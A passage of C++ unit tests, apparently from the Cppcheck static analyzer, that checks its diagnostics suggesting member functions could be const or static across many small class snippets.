[functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred 